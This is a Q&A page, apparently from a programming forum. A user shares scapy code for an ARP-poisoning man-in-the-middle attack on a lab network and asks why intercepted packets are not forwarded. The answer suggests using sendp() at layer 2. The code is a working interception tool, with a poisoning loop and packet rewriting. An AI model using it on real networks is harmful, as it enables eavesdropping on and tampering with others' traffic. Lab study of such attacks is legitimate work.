Man in the middle attack with scapy

10,887

If you use scapy's send(), it works on the third layer. From scapy's documentation:

The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2.

If you were to use sendp(), it won't use the default values for the destination's Mac address and your warning'll be gone.

Share:
10,887
prongs
Author by

prongs

Updated on July 14, 2022

Comments

  • prongs
    prongs almost 2 years

    I'm trying to do a man in the middle attack with scapy on a test network. My setup is like this: enter image description here

    Now that you get the idea, here's the code:

    from scapy.all import *
    import multiprocessing
    import time
    class MITM:
      packets=[]
      def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
        self.victim=victim
        self.node2=node2
        multiprocessing.Process(target=self.arp_poison).start()
        try:
          sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
        except KeyboardInterrupt as e:
          wireshark(packets)
        #self.arp_poison()
      def routep(self,packet):
        if packet.haslayer(IP):
          packet.show()
          if packet[IP].dst==self.victim[0]:
            packet[Ether].src=packet[Ether].dst
            packet[Ether].dst=self.victim[1]
          elif packet[IP].dst==self.node2[0]:
            packet[Ether].src=packet[Ether].dst
            packet[Ether].dst=self.node2[1]
          self.packets.append(packet)
          packet.display()
          send(packet)
          print len(self.packets)
          if len(self.packets)==10:
            wireshark(self.packets)
      def arp_poison(self):
        a=ARP()
        a.psrc=self.victim[0]
        a.pdst=self.node2[0]
        b=ARP()
        b.psrc=self.node2[0]
        b.pdst=self.victim[0]
        cond=True
        while cond:
          send(b)
          send(a)
          time.sleep(5)
          #cond=False
    if __name__=="__main__":
      mitm=MITM()
    

    This code is running on the VM2.

    Arp poisoning works fine, I check the arp caches of both the machines and the behavior is as I expected. But inside routep, I modify the src and dst mac address and try to send the received packet to appropriate host, scapy gives a warning:

    WARNING: more Mac address to reach destination not found. Using broadcast
    

    And I see in the wireshark on VM2, the modified packets are not leaving the machine. Why would that be the case? Am I missing something?